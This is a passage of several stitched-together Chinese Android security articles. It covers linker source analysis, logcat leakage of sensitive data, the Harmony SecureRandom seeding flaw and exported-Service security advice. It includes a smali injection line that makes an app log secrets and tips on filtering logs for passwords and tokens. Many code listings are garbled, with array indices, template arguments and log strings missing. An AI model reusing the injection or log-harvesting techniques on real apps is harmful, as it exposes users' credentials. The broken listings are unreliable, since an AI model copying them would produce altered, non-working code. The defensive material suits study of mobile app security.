#!cpp /*返回ELF文件中的dynamic节区在内存中的地址和大小,如果没有该节区就返回null * Input: * phdr_table -> program header table * phdr_count -> number of entries in tables * load_bias -> load bias * Output: * dynamic -> address of table in memory (NULL on failure). * dynamic_count -> number of items in table (0 on failure). * dynamic_flags -> protection flags for section (unset on failure) */ void phdr_table_get_dynamic_section(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr) load_bias, ElfW(Dyn)** dynamic, size_t* dynamic_count, ElfW(Word)* dynamic_flags) { const ElfW(Phdr)* phdr = phdr_table; const ElfW(Phdr)* phdr_limit = phdr + phdr_count; for (phdr = phdr_table; phdr < phdr_limit; phdr++) { if (phdr->p_type != PT_DYNAMIC) { continue; } *dynamic = reinterpret_cast(load_bias + phdr->p_vaddr); if (dynamic_count) { *dynamic_count = (unsigned)(phdr->p_memsz / 8); //这里需要解释下,在2.2.1中我们介绍了Elf32_Dyn的结构,它占8字节。而PT_DYNAMIC段就是存放着Elf32_Dyn数组,所以dynamic_count的值就是该段的memsz/8。 } if (dynamic_flags) { *dynamic_flags = phdr->p_flags; } return; } *dynamic = NULL; if (dynamic_count) { *dynamic_count = 0; } }
成功获取了dynamic节区信息,我们就可以根据该节区中的Elf32_Dyn数组来进行so链接操作了。我们需要从dynamic节区中抽取有用的信息,linker采用遍历dynamic数组的方式,根据每个元素的flags()进行相应的处理:
#!cpp /*in function soinfo_link_image */ // 从动态dynamic节区中抽取有用信息 uint32_t needed_count = 0; //开始从头遍历dyn数组,根据数组中个元素的标记进行相应的处理 for (ElfW(Dyn)* d = si->dynamic; d->d_tag != DT_NULL; ++d) { //标记为 DT_NULL 的项目标注了整个 _DYNAMIC 数组的末端,因此以它为结尾标志。 ........ switch (d->d_tag) { case DT_HASH: ........ break; case DT_STRTAB: si->strtab = reinterpret_cast(base + d->d_un.d_ptr); break; case DT_SYMTAB: si->symtab = reinterpret_cast(base + d->d_un.d_ptr); break; case DT_JMPREL: #if defined(USE_RELA) si->plt_rela = reinterpret_cast(base + d->d_un.d_ptr); #else si->plt_rel = reinterpret_cast(base + d->d_un.d_ptr); #endif break; case DT_PLTRELSZ: #if defined(USE_RELA) si->plt_rela_count = d->d_un.d_val / sizeof(ElfW(Rela)); #else si->plt_rel_count = d->d_un.d_val / sizeof(ElfW(Rel)); #endif break; #if defined(__mips__) case DT_PLTGOT: // Used by mips and mips64. si->plt_got = reinterpret_cast(base + d->d_un.d_ptr); break; #endif ........ #if defined(USE_RELA) case DT_RELA: si->rela = reinterpret_cast(base + d->d_un.d_ptr); break; case DT_RELASZ: si->rela_count = d->d_un.d_val / sizeof(ElfW(Rela)); break; case DT_REL: DL_ERR("unsupported DT_REL in \"%s\"", si->name); return false; case DT_RELSZ: DL_ERR("unsupported DT_RELSZ in \"%s\"", si->name); return false; #else case DT_REL: si->rel = reinterpret_cast(base + d->d_un.d_ptr); break; case DT_RELSZ: si->rel_count = d->d_un.d_val / sizeof(ElfW(Rel)); break; case DT_RELA: DL_ERR("unsupported DT_RELA in \"%s\"", si->name); return false; #endif case DT_INIT: //只有可执行文件才有此节区 si->init_func = reinterpret_cast(base + d->d_un.d_ptr); DEBUG("%s constructors (DT_INIT) found at %p", si->name, si->init_func); break; case DT_FINI: si->fini_func = reinterpret_cast(base + d->d_un.d_ptr); DEBUG("%s destructors (DT_FINI) found at %p", si->name, si->fini_func); break; case DT_INIT_ARRAY: si->init_array = reinterpret_cast(base + d->d_un.d_ptr); DEBUG("%s constructors (DT_INIT_ARRAY) found at %p", si->name, si->init_array); break; case DT_INIT_ARRAYSZ: si->init_array_count = ((unsigned)d->d_un.d_val) / sizeof(ElfW(Addr)); break; case DT_FINI_ARRAY: si->fini_array = reinterpret_cast(base + d->d_un.d_ptr); DEBUG("%s destructors (DT_FINI_ARRAY) found at %p", si->name, si->fini_array); break; case DT_FINI_ARRAYSZ: si->fini_array_count = ((unsigned)d->d_un.d_val) / sizeof(ElfW(Addr)); break; case DT_PREINIT_ARRAY: si->preinit_array = reinterpret_cast(base + d->d_un.d_ptr); DEBUG("%s constructors (DT_PREINIT_ARRAY) found at %p", si->name, si->preinit_array); break; case DT_PREINIT_ARRAYSZ: si->preinit_array_count = ((unsigned)d->d_un.d_val) / sizeof(ElfW(Addr)); break; case DT_TEXTREL: #if defined(__LP64__) DL_ERR("text relocations (DT_TEXTREL) found in 64-bit ELF file \"%s\"", si->name); return false; #else si->has_text_relocations = true; break; #endif case DT_SYMBOLIC: si->has_DT_SYMBOLIC = true; break; case DT_NEEDED: ++needed_count; break; case DT_FLAGS: if (d->d_un.d_val & DF_TEXTREL) { ........ si->has_text_relocations = true; } if (d->d_un.d_val & DF_SYMBOLIC) { si->has_DT_SYMBOLIC = true; } break; #if defined(__mips__) case DT_STRSZ: case DT_SYMENT: case DT_RELENT: break; case DT_MIPS_RLD_MAP: // Set the DT_MIPS_RLD_MAP entry to the address of _r_debug for GDB. { r_debug** dp = reinterpret_cast(base + d->d_un.d_ptr); *dp = &_r_debug; } break; case DT_MIPS_RLD_VERSION: case DT_MIPS_FLAGS: case DT_MIPS_BASE_ADDRESS: case DT_MIPS_UNREFEXTNO: break; case DT_MIPS_SYMTABNO: si->mips_symtabno = d->d_un.d_val; break; case DT_MIPS_LOCAL_GOTNO: si->mips_local_gotno = d->d_un.d_val; break; case DT_MIPS_GOTSYM: si->mips_gotsym = d->d_un.d_val; break; #endif default: DEBUG("Unused DT entry: type %p arg %p", reinterpret_cast(d->d_tag), reinterpret_cast(d->d_un.d_val)); break; } }
完成dynamic数组的遍历后,就说明我们已经获取了其中的有用信息了,那么现在就需要根据这些信息进行处理:
#!cpp /*in function soinfo_link_image */ //再检测一遍,这种做法总是明智的 if (relocating_linker && needed_count != 0) { DL_ERR("linker cannot have DT_NEEDED dependencies on other libraries"); return false; } if (si->nbucket == 0) { DL_ERR("empty/missing DT_HASH in \"%s\" (built with --hash-style=gnu?)", si->name); return false; } if (si->strtab == 0) { DL_ERR("empty/missing DT_STRTAB in \"%s\"", si->name); return false; } if (si->symtab == 0) { DL_ERR("empty/missing DT_SYMTAB in \"%s\"", si->name); return false; } // If this is the main executable, then load all of the libraries from LD_PRELOAD now. //如果是main可执行文件,那么就根据LD_PRELOAD信息来加载所有相关的库 //这里面涉及到的gLdPreloadNames变量,我们知道在前面的整个分析过程中均没有涉及,这是因为,对于可执行文件而言,它的起始函数并不是dlopen,而是系统内核的execv函数,通过层层调用之后才会执行到linker的linker_init_post_ralocation函数,在这个函数中调用parse_LD_PRELOAD函数完成 gLdPreloadNames变量的赋值 if (si->flags & FLAG_EXE) { memset(gLdPreloads, 0, sizeof(gLdPreloads)); size_t preload_count = 0; for (size_t i = 0; gLdPreloadNames
!= NULL; i++) { soinfo* lsi = find_library(gLdPreloadNames
); if (lsi != NULL) { gLdPreloads
= lsi; } else { ........ } } } //分配一个soinfo*
指针数组,用于存放本so库需要的外部so库的soinfo指针 soinfo** needed = reinterpret_cast(alloca((1 + needed_count) * sizeof(soinfo*))); soinfo** pneeded = needed; //依次获取dynamic数组中定义的每一个外部so库soinfo for (ElfW(Dyn)* d = si->dynamic; d->d_tag != DT_NULL; ++d) { if (d->d_tag == DT_NEEDED) { const char* library_name = si->strtab + d->d_un.d_val; //根据index值获取所需库的名字 DEBUG("%s needs %s", si->name, library_name); soinfo* lsi = find_library(library_name); //获取该库的soinfo if (lsi == NULL) { ........ } *pneeded++ = lsi; } } *pneeded = NULL; #if !defined(__LP64__) if (si->has_text_relocations) { // Make segments writable to allow text relocations to work properly. We will later call // phdr_table_protect_segments() after all of them are applied and all constructors are run. DL_WARN("%s has text relocations. This is wasting memory and prevents " "security hardening. Please fix.", si->name); if (phdr_table_unprotect_segments(si->phdr, si->phnum, si->load_bias) < 0) { DL_ERR("can't unprotect loadable segments for \"%s\": %s", si->name, strerror(errno)); return false; } } #endif #if defined(USE_RELA) if (si->plt_rela != NULL) { DEBUG("
\n", si->name); if (soinfo_relocate(si, si->plt_rela, si->plt_rela_count, needed)) { return false; } } if (si->rela != NULL) { DEBUG("
\n", si->name); if (soinfo_relocate(si, si->rela, si->rela_count, needed)) { return false; } } #else if (si->plt_rel != NULL) { DEBUG("
", si->name); if (soinfo_relocate(si, si->plt_rel, si->plt_rel_count, needed)) { return false; } } if (si->rel != NULL) { DEBUG("
", si->name); if (soinfo_relocate(si, si->rel, si->rel_count, needed)) { return false; } } #endif #if defined(__mips__) if (!mips_relocate_got(si, needed)) { return false; } #endif si->flags |= FLAG_LINKED; DEBUG("
", si->name); #if !defined(__LP64__) if (si->has_text_relocations) { // All relocations are done, we can protect our segments back to read-only. if (phdr_table_protect_segments(si->phdr, si->phnum, si->load_bias) < 0) { DL_ERR("can't protect segments for \"%s\": %s", si->name, strerror(errno)); return false; } } #endif /* We can also turn on GNU RELRO protection */ if (phdr_table_protect_gnu_relro(si->phdr, si->phnum, si->load_bias) < 0) { DL_ERR("can't enable GNU RELRO protection for \"%s\": %s", si->name, strerror(errno)); return false; } notify_gdb_of_load(si); return true; }

开始执行so文件

上面的find_library_internal函数中的soinfo_link_image函数执行完后就返回到上层函数find_library中,然后进一步返回到do_dlopen函数:
#!cpp soinfo* do_dlopen(const char* name, int flags) { if ((flags & ~(RTLD_NOW|RTLD_LAZY|RTLD_LOCAL|RTLD_GLOBAL)) != 0) { DL_ERR("invalid flags to dlopen: %x", flags); return NULL; } set_soinfo_pool_protection(PROT_READ | PROT_WRITE); soinfo* si = find_library(name); if (si != NULL) { si->CallConstructors(); } set_soinfo_pool_protection(PROT_READ); return si; }
如果获取的si不为空,就说明so的加载和链接操作正确完成,那么就可以执行so的初始化构造函数了:
#!cpp void soinfo::CallConstructors() { ........ // DT_INIT should be called before DT_INIT_ARRAY if both are present. //如果文件含有.init和.init_array节区的话,就先执行.init节区的代码再执行.init_array节区的代码 CallFunction("DT_INIT", init_func); CallArray("DT_INIT_ARRAY", init_array, init_array_count, false); }
由于我们只分析so库,所以只需要关心CallArray("DT_INIT_ARRAY", init_array, init_array_count, false)函数即可:
#!cpp void soinfo::CallArray(const char* array_name UNUSED, linker_function_t* functions, size_t count, bool reverse) { ........ //这里的recerse变量用于指定.init_array中的函数是由前到后执行还是由后到前执行。默认是由前到后 int begin = reverse ? (count - 1) : 0; int end = reverse ? -1 : count; int step = reverse ? -1 : 1; for (int i = begin; i != end; i += step) { TRACE("
== %p ]", array_name, i, functions
); CallFunction("function", functions
); //依次调用init_array中的函数。 } ........ }
这里需要对init_array节区的结构和作用加以说明。 首先是init_array节区的数据结构。该节中包含指针,这些指针指向了一些初始化代码。这些初始化代码一般是在main函数之前执行的。在C++程序中,这些代码用来运行静态构造函数。另外一个用途就是有时候用来初始化C库中的一些IO系统。使用IDA查看具有init_array节区的so库文件就可以找到如下数据: 这里共三个函数指针,每个指针指向一个函数地址。值得注意的是,上图中每个函数指针的值都加了1,这是因为地址的最后1位置1表明需要使得处理器由ARM转为Thumb状态来处理Thumb指令。将目标地址处的代码解释为Thumb代码来执行。 然后再来看CallFunction的具体实现:
#!cpp void soinfo::CallFunction(const char* function_name UNUSED, linker_function_t function) { //如果函数地址为空或者为-1就直接退出。 if (function == NULL || reinterpret_cast(function) == static_cast(-1)) { return; } ........ function(); //执行该指针所指定的函数 // The function may have called dlopen(3) or dlclose(3), so we need to ensure our data structures // are still writable. This happens with our debug malloc (see http://b/7941716). set_soinfo_pool_protection(PROT_READ | PROT_WRITE); }
至此,整个Android so的linker机制就分析完毕了!

科普

development version :开发版,正在开发内测的版本,会有许多调试日志。 release version : 发行版,签名后开发给用户的正式版本,日志量较少。 android.util.Log:提供了五种输出日志的方法 Log.e(), Log.w(), Log.i(), Log.d(), Log.v() ERROR, WARN, INFO, DEBUG, VERBOSE android.permission.READ_LOGS:app读取日志权限,android 4.1之前版本通过申请READ_LOGS权限就可以读取其他应用的log了。但是谷歌发现这样存在安全风险,于是android 4.1以及之后版本,即使申请了READ_LOGS权限也无法读取其他应用的日志信息了。4.1版本中 Logcat的签名变为“signature|system|development”了,这意味着只有系统签名的app或者root权限的app才能使用该权限。普通用户可以通过ADB查看所有日志。

测试

测试方法是非常简单的,可以使用sdk中的小工具monitor或者ADT中集成的logcat来查看日志,将工具目录加入环境变量用起来比较方便。当然如果你想更有bigger也可以使用adb logcat。android整体日志信息量是非常大的,想要高效一些就必须使用filter来过滤一些无关信息,filter是支持正则的,可以做一些关键字匹配比如password、token、email等。本来准备想做个小工具自动化收集,但是觉得这东西略鸡肋没太大必要,故本文的重点也是在如何安全的使用logcat方面。 当然也可以自己写个app在直接在手机上抓取logcat,不过前面提到因为android系统原因如果手机是android4.1或者之后版本即使在manifest.xml中加入了如下申请也是无法读取到其他应用的log的。

root权限可以随便看logcat,所以“logcat信息泄露”漏洞因谷歌在4.1上的动作变得很鸡肋了。

smali注入logcat

http://drops.wooyun.org/tips/2986 一文中提到将敏感数据在加密前打印出来就是利用静态smali注入插入了logcat方法。 使用APK改之理smali注入非常方便,但要注意随意添加寄存器可能破坏本身逻辑,新手建议不添加寄存器直接使用已有的寄存器。
invoke-static {v0, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

建议

有些人认为任何log都不应该在发行版本打印。但是为了app的错误采集,异常反馈,必要的日志还是要被输出的,只要遵循安全编码规范就可以将风险控制在最小范围。 Log.e()/w()/i():建议打印操作日志 Log.d()/v():建议打印开发日志 1、敏感信息不应用Log.e()/w()/i(), System.out/err 打印。 2、如果需要打印一些敏感信息建议使用 Log.d()/v()。(前提:release版本将被自动去除)
@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_proguard); // *** POINT 1 *** Sensitive information must not be output by Log.e()/w()/i(), System.out/err. Log.e(LOG_TAG, "Not sensitive information (ERROR)"); Log.w(LOG_TAG, "Not sensitive information (WARN)"); Log.i(LOG_TAG, "Not sensitive information (INFO)"); // *** POINT 2 *** Sensitive information should be output by Log.d()/v() in case of need. // *** POINT 3 *** The return value of Log.d()/v()should not be used (with the purpose of substitution or comparison). Log.d(LOG_TAG, "sensitive information (DEBUG)"); Log.v(LOG_TAG, "sensitive information (VERBOSE)"); }
3、Log.d()/v()的返回值不应被使用。(仅做开发调试观测) Examination code which Log.v() that is specifeied to be deleted is not deketed
int i = android.util.Log.v("tag", "message"); System.out.println(String.format("Log.v() returned %d. ", i)); //Use the returned value of Log.v() for examination
4、release版apk实现自动删除Log.d()/v()等代码。 eclipse中配置ProGuard 开发版所有log都打印出来了。 发行版ProGuard移除了d/v的log 反编译后查看确实被remove了 5、公开的APK文件应该是release版而不是development版。

native code

android.util.Log的构造函数是私有的,并不会被实例化,只是提供了静态的属性和方法。 而android.util.Log的各种Log记录方法的实现都依赖于native的实现println_native(),Log.v()/Log.d()/Log.i()/Log.w()/Log.e()最终都是调用了println_native()。 Log.e(String tag, String msg)
public static int v(String tag, String msg) { return println_native(LOG_ID_MAIN, VERBOSE, tag, msg); }
println_native(LOG_ID_MAIN, VERBOSE, tag, msg)
/* * In class android.util.Log: * public static native int println_native(int buffer, int priority, String tag, String msg) */ static jint android_util_Log_println_native(JNIEnv* env, jobject clazz, jint bufID, jint priority, jstring tagObj, jstring msgObj) { const char* tag = NULL; const char* msg = NULL; if (msgObj == NULL) { jniThrowNullPointerException(env, "println needs a message"); return -1; } if (bufID < 0 || bufID >= LOG_ID_MAX) { jniThrowNullPointerException(env, "bad bufID"); return -1; } if (tagObj != NULL) tag = env->GetStringUTFChars(tagObj, NULL); msg = env->GetStringUTFChars(msgObj, NULL); int res = __android_log_buf_write(bufID, (android_LogPriority)priority, tag, msg); if (tag != NULL) env->ReleaseStringUTFChars(tagObj, tag); env->ReleaseStringUTFChars(msgObj, msg); return res; }
其中__android_log_buf_write()又调用了write_to_log函数指针。
static int __write_to_log_init(log_id_t log_id, struct iovec *vec, size_t nr) { #ifdef HAVE_PTHREADS pthread_mutex_lock(&log_init_lock); #endif if (write_to_log == __write_to_log_init) { log_fds
= log_open("/dev/"LOGGER_LOG_MAIN, O_WRONLY); log_fds
= log_open("/dev/"LOGGER_LOG_RADIO, O_WRONLY); log_fds
= log_open("/dev/"LOGGER_LOG_EVENTS, O_WRONLY); log_fds
= log_open("/dev/"LOGGER_LOG_SYSTEM, O_WRONLY); write_to_log = __write_to_log_kernel; if (log_fds
< 0 || log_fds
< 0 || log_fds
< 0) { log_close(log_fds
); log_close(log_fds
); log_close(log_fds
); log_fds
= -1; log_fds
= -1; log_fds
= -1; write_to_log = __write_to_log_null; } if (log_fds
< 0) { log_fds
= log_fds
; } } #ifdef HAVE_PTHREADS pthread_mutex_unlock(&log_init_lock); #endif return write_to_log(log_id, vec, nr); }
总的来说println_native()的操作就是打开设备文件然后写入数据。

其他注意

1、使用Log.d()/v()打印异常对象。(如SQLiteException可能导致sql注入的问题) 2、使用android.util.Log类的方法输出日志,不推荐使用System.out/err 3、使用BuildConfig.DEBUG ADT的版本不低于21
public final static boolean DEBUG = true;
在release版本中会被自动设置为false
if (BuildConfig.DEBUG) android.util.Log.d(TAG, "Log output information");
4、启动Activity的时候,ActivityManager会输出intent的信息如下:
- 目标包名 目标类名 intent.setData(URL)的URL
5、即使不用System.out/err程序也有可能输出相关信息,如使用 Exception.printStackTrace() 6、ProGuard不能移除如下log:("result:" + value).
Log.d(TAG, "result:" + value);
当遇到此类情况应该使用BulidConfig(注意ADT版本)
if (BuildConfig.DEBUG) Log.d(TAG, "result:" + value);
7、不应将日志输出到sdscard中,这样会让日志变得全局可读

乌云案例


http://www.wooyun.org/bugs/wooyun-2014-079241

http://www.wooyun.org/bugs/wooyun-2014-079357

http://www.wooyun.org/bugs/wooyun-2014-082717

日志工具类


#!java import android.util.Log; /** * Log统一管理类 * * * */ public class L { private L() { /* cannot be instantiated */ throw new UnsupportedOperationException("cannot be instantiated"); } public static boolean isDebug = true;// 是否需要打印bug,可以在application的onCreate函数里面初始化 private static final String TAG = "way"; // 下面四个是默认tag的函数 public static void i(String msg) { if (isDebug) Log.i(TAG, msg); } public static void d(String msg) { if (isDebug) Log.d(TAG, msg); } public static void e(String msg) { if (isDebug) Log.e(TAG, msg); } public static void v(String msg) { if (isDebug) Log.v(TAG, msg); } // 下面是传入自定义tag的函数 public static void i(String tag, String msg) { if (isDebug) Log.i(tag, msg); } public static void d(String tag, String msg) { if (isDebug) Log.i(tag, msg); } public static void e(String tag, String msg) { if (isDebug) Log.i(tag, msg); } public static void v(String tag, String msg) { if (isDebug) Log.i(tag, msg); } }

参考


http://www.jssec.org/dl/android_securecoding_en.pdf

http://source.android.com/source/code-style.html#log-sparingly

http://developer.android.com/intl/zh-cn/reference/android/util/Log.html

http://developer.android.com/intl/zh-cn/tools/debugging/debugging-log.html

http://developer.android.com/intl/zh-cn/tools/help/proguard.html

https://www.securecoding.cert.org/confluence/display/java/DRD04-J.+Do+not+log+sensitive+information

https://android.googlesource.com/platform/frameworks/base.git/+/android-4.2.2_r1/core/jni/android_util_Log.cpp

漏洞概述

Android 4.4之前版本的Java加密架构(JCA)中使用的Apache Harmony 6.0M3及其之前版本的SecureRandom实现存在安全漏洞,具体位于
classlib/modules/security/src/main/java/common/org/apache/harmony/security/provider/crypto/SHA1PRNG_SecureRandomImpl.java
类的engineNextBytes函数里,当用户没有提供用于产生随机数的种子时,程序不能正确调整偏移量,导致PRNG生成随机序列的过程可被预测。 漏洞文件见文后链接1。

漏洞影响

2013年8月份的比特币应用被攻击也与这个漏洞相关。比特币应用里使用了ECDSA 算法,这个算法需要一个随机数来生成签名,然而生成随机数的算法存在本文提到的安全漏洞。同时这个ECDSA算法本身也有漏洞,在这个事件之前索尼的PlayStation 3 master key事件也是利用的这个算法漏洞。 本文主要介绍SecureRandom漏洞,关于ECDSA算法漏洞可以自行阅读下面的资料。
http://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Security

http://tools.ietf.org/html/rfc6979

https://groups.google.com/forum/?fromgroups=#!topic/sci.crypt/3isJl28Slrw

SecureRandom技术实现

在java里,随机数是通过一个初始化种子来生成的。两个伪随机数噪声生成器(PRNG)实例,如果使用相同的种子来初始化,就会得到相同的随机序列。Java Cryptography Architecture里提供了几个加密强度更大的PRNGs,这些PRNGs是通过SecureRandom接口实现的。 java.security.SecureRandom这个类本身并没有实现伪随机数生成器,而是使用了其他类里的实现。因此SecureRandom生成的随机数的随机性、安全性和性能取决于算法和熵源的选择。 控制SecureRandom API的配置文件位于$JAVA_HOME/jre/lib/security/java.security。比如我们可以配置该文件里的securerandom.source属性来指定SecureRandom中使用的seed的来源。比如使用设备相关的源,可以这样设置:
securerandom.source=file:/dev/urandom securerandom.source=file:/dev/random
关于SecureRandom具体技术细节可参看文章最后参考链接2。 现在重点看下SecureRandomSpi抽象类。参考链接3。该抽象类为SecureRandom类定义了功能接口,里面有三个抽象方法engineSetSeed,engineGenerateSeed,and engineNextBytes。如果Service Provider希望提供加密强度较高的伪随机数生成器的功能,就必须实现这三个方法。 然而Apache Harmony 6.0M3及其之前版本的SecureRandom实现中engineNextBytes函数存在安全漏洞。

Apache Harmony’s SecureRandom实现

Apache Harmony 是2005年以Apache License发布的一个开源的java核心库。虽然2011年以后已宣布停产,但是这个项目作为Google Android platform的一部分继续被开发维护。 Apache Harmony's SecureRandom实现算法如下: Android里的PRNG使用SHA-1哈希算法、操作系统提供的设备相关的种子来产生伪随机序列。随机数是通过三部分(internal state即seed+counter+ padding)反复哈希求和计算产生的。如下图 其中计数器counter从0开始,算法每运行一次自增一。counter和padding部分都可以称为buffer。Padding遵守SHA-1的填充格式:最后的8 byte存放要hash的值的长度len,剩下的部分由一个1,后面跟0的格式进行填充。最后返回Hash后的结果,也就是生成的伪随机序列。

Apache Harmony’s SecureRandom漏洞细节

当使用无参构造函数创建一个SecureRandom实例,并且在随后也不使用setSeed()进行初始化时,插入一个起始值后,代码不能正确的调整偏移量(byte offset,这个offset是指向state buffer的指针)。这导致本该附加在种子后面的计数器(8 byte)和padding(起始4 byte)覆盖了种子的起始12 byte。熵的剩下8 byte(20 byte的种子中未被覆盖部分),使得PRNG加密应用无效。 在信息论中,熵被用来衡量一个随机变量出现的期望值。熵值越低越容易被预测。熵值可以用比特来表示。关于熵的知识请参考:http://zh.wikipedia.org/wiki/熵_(信息论) 下面这张图可以形象的表述这个过程:

漏洞修复

Google已经发布了patch,看下Diff文件: https://android.googlesource.com/platform/libcore/+/ab6d7714b47c04cc4bd812b32e6a6370181a06e4%5E%21/#F0 修复前: 修复后: 对于普通开发者来讲,可以使用下面链接中的方式进行修复。
http://android-developers.blogspot.com.au/2013/08/some-securerandom-thoughts.html

参考链接


https://android.googlesource.com/platform/libcore/+/kitkat-release/luni/src/main/java/org/apache/harmony/security/provider/crypto/SHA1PRNG_SecureRandomImpl.java

http://resources.infosecinstitute.com/random-number-generation-java/

http://developer.android.com/reference/java/security/SecureRandomSpi.html

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7372

http://android-developers.blogspot.com.au/2013/08/some-securerandom-thoughts.html

科普

一个Service是没有界面且能长时间运行于后台的应用组件.其它应用的组件可以启动一个服务运行于后台,即使用户切换到另一个应用也会继续运行.另外,一个组件可以绑定到一个service来进行交互,即使这个交互是进程间通讯也没问题.例如,一个service可能处理网络事物,播放音乐,执行文件I/O,或与一个内容提供者交互,所有这些都在后台进行.

知识要点


生命周期
左图是startService()创建service,右图是bindService()创建service。 startService与bindService都可以启动Service,那么它们之间有什么区别呢?它们两者的区别就是使Service的周期改变。由startService启动的Service必须要有stopService来结束Service,不调用stopService则会造成Activity结束了而Service还运行着。bindService启动的Service可以由unbindService来结束,也可以在Activity结束之后(onDestroy)自动结束。
关键方法
1.onStartCommand() 系统在其它组件比如activity通过调用startService()请求service启动时调用这个方法.一旦这个方法执行,service就启动并且在后台长期运行.如果你实现了它,你需要负责在service完成任务时停止它,通过调用stopSelf()或stopService().(如果你只想提供绑定,你不需实现此方法). 2.OnBind() 当组件调用bindService()想要绑定到service时(比如想要执行进程间通讯)系统调用此方法.在你的实现中,你必须提供一个返回一个IBinder来以使客户端能够使用它与service通讯,你必须总是实现这个方法,但是如果你不允许绑定,那么你应返回null. 3.OnCreate() 系统在service第一次创建时执行此方法,来执行只运行一次的初始化工作(在调用它方法如onStartCommand()或onBind()之前).如果service已经运行,这个方法不会被调用. 4.OnDestroy() 系统在service不再被使用并要销毁时调用此方法.你的service应在此方法中释放资源,比如线程,已注册的侦听器,接收器等等.这是service收到的最后一个调用. 5.public abstract boolean bindService (Intent service, ServiceConnection conn, int flags) BindService中使用bindService()方法来绑定服务,调用者和绑定者绑在一起,调用者一旦(all)退出服务也就终止了. 6.startService() startService()方法会立即返回然后Android系统调用service的onStartCommand()方法.但是如果service尚没有运行,系统会先调用onCreate(),然后调用onStartCommand(). 7.protected abstract void onHandleIntent (Intent intent) 调用工作线程处理请求 8.public boolean onUnbind (Intent intent) 当所有client均从service发布的接口断开的时候被调用。默认实现不执行任何操作,并返回false。
extends
1.Service 这是所有service的基类.当你派生这个类时,在service中创建一个新的线程来做所有的工作是十分重要的.因为这个service会默认使用你的应用的主线程(UI线程),这将拉低你的应用中所有运行的activity的性能 2.IntentService 这是一个Service的子类,使用一个工作线程来处理所有的启动请求,一次处理一个.这是你不需你的service同时处理多个请求时的最好选择.你所有要做的就是实现onHandleIntent(),这个方法接收每次启动请求发来的intent,于是你可以做后台的工作.
表现形式
1.Started 一个service在某个应用组件(比如一个activity)调用startService()时就处于"started"状态(注意,可能已经启动了).一旦运行后,service可以在后台无限期地运行,即使启动它的组件销毁了.通常地,一个startedservice执行一个单一的操作并且不会返回给调用者结果.例如,它可能通过网络下载或上传一个文件.当操作完成后,service自己就停止了 2.Bound 一个service在某个应用组件调用bindService()时就处于"bound"状态.一个boundservice提供一个client-server接口以使组件可以与service交互,发送请求,获取结果,甚至通过进程间通讯进行交叉进行这些交互.一个boundservice仅在有其它应用的组件绑定它时运行.多个应用组件可以同时绑定到一个service,但是当所有的自由竞争组件不再绑定时,service就销毁了.
Bound Service
当创建一个提供绑定的service时,你必须提供一个客户端用来与service交互的IBinder.有三种方式你可以定义这个接口: 1.从类Binder派生 如果你的service是你自己应用的私有物,并且与客户端运行于同一个进程中(一般都这样),你应该通过从类Binder派生来创建你的接口并且从onBind()返回一它的实例.客户端接收这个Binder然后使用它来直接操作所实现的Binder甚至Service的公共接口. 当你的service仅仅是一个后台工作并且仅服务于自己的应用时,这是最好的选择.唯一使你不能以这种方式创建你的接口的理由就是你的service被其它应用使使用或者是跨进程的. 2.使用一个Messenger 如果你需要你的接口跨进程工作,你可以为service创建一个带有Messager的接口.在此方式下,service定义一个Handler来负责不同类型的Message对象.这个Handler是Messenger可以与客户端共享一个IBinder的基础,它允许客户端使用Message对象发送命令给servic.客户端可以定义一个自己的Messenger以使service可以回发消息. 这是执行IPC的最简单的方法,因为Messenger把所有的请求都放在队列中依次送入一个线程中,所以你不必把你的service设计为线程安全的 3.使用AIDL AIDL(Android接口定义语言)执行把对象分解为操作系统能够理解并能跨进程封送的基本体以执行IPC的所有的工作.上面所讲的使用一个Messenger,实际上就是基于AIDL的.就像上面提到的,Messenger在一个线程中创建一个容纳所有客户端请求的队列,使用service一个时刻只接收一个请求.然而,如果你想要你的service同时处理多个请求,那么你可以直接使用AIDL.在此情况下,你的service必须是多线程安全的. 要直接使用AIDL,你必须创建一个.aidl文件,它定义了程序的接口.AndroidSDK工具使用这个文件来生成一个实现接口和处理IPC的抽象类,之后你在你的service内派生它. 注:大多数应用不应使用AIDL来处理一个绑定的service,因为它可能要求有多线程能力并且导致实现变得更加复杂.同样的,AIDL也不适合于大多数应用并且本文档不会讨论如何在你的service中使用它.如果你确定你需要直接使用AIDL,请看AIDL的文档.

注意: 如果你打算只在本应用内使用自己的service,那么你不需指定任何intent过滤器.不使用intent过滤器,你必须使用一个明确指定service的类名的intent来启动你的service. 另外,你也可以通过包含android:exported属性,并指定其值为“false”来保证你的service是私有的.即使你的service使用了intent过滤器,也会起作用. 当一个service被启动后,它的生命期就不再依赖于启动它的组件并且可以独立运行于后台,即使启动它的组件死翘翘了.所以,service应该工作完成后调用stopSelf()自己停止掉,或者其它组件也可以调用stopService()停止service. 如果service没有提供绑定功能,传给startService()的intent是应用组件与service之间唯一的通讯方式.然而,如果你希望service回发一个结果,那么启动这个service的客户端可以创建一个用于广播(使用getBroadcast())的PendingIntent然后放在intent中传给service,service然后就可以使用广播来回送结果.

安全建议


service分类

私有service:不能被其他应用调用,相对安全 公开service:可以被任意应用调用 合作service:只能被信任合作公司的应用调用 内部service:只能被内部应用调用

intent-filter与exported组合建议
总结:
exported属性明确定义 私有service不定义intent-filter并且设置exported为false 公开的service设置exported为true,intent-filter可以定义或者不定义 内部/合作service设置exported为true,intent-filter不定义

rule book

1 只被应用本身使用的service应设置为私有 service接收到的数据需需谨慎处理 内部service需使用签名级别的protectionLevel来判断是否未内部应用调用 不应在service创建(onCreate方法被调用)的时候决定是否提供服务,应在onStartCommand/onBind/onHandleIntent等方法被调用的时候做判断. 当service又返回数据的时候,因判断数据接收app是否又信息泄露的风险 有明确的服务需调用时使用显示意图 尽量不发送敏感信息 合作service需对合作公司的app签名做效验

测试方法


1 service不像broadcast receicer只能静态注册,通过反编译查看配置文件Androidmanifest.xml即可确定service,若有导出的service则进行下一步 方法查看service类,重点关注onCreate/onStarCommand/onHandleIntent方法 检索所有类中startService/bindService方法及其传递的数据 根据业务情况编写测试poc或者直接使用adb命令测试

案例


案例1:权限提升

http://www.wooyun.org/bugs/wooyun-2010-0509

http://www.wooyun.org/bugs/wooyun-2014-048025

http://www.wooyun.org/bugs/wooyun-2014-048735

案例2:services劫持
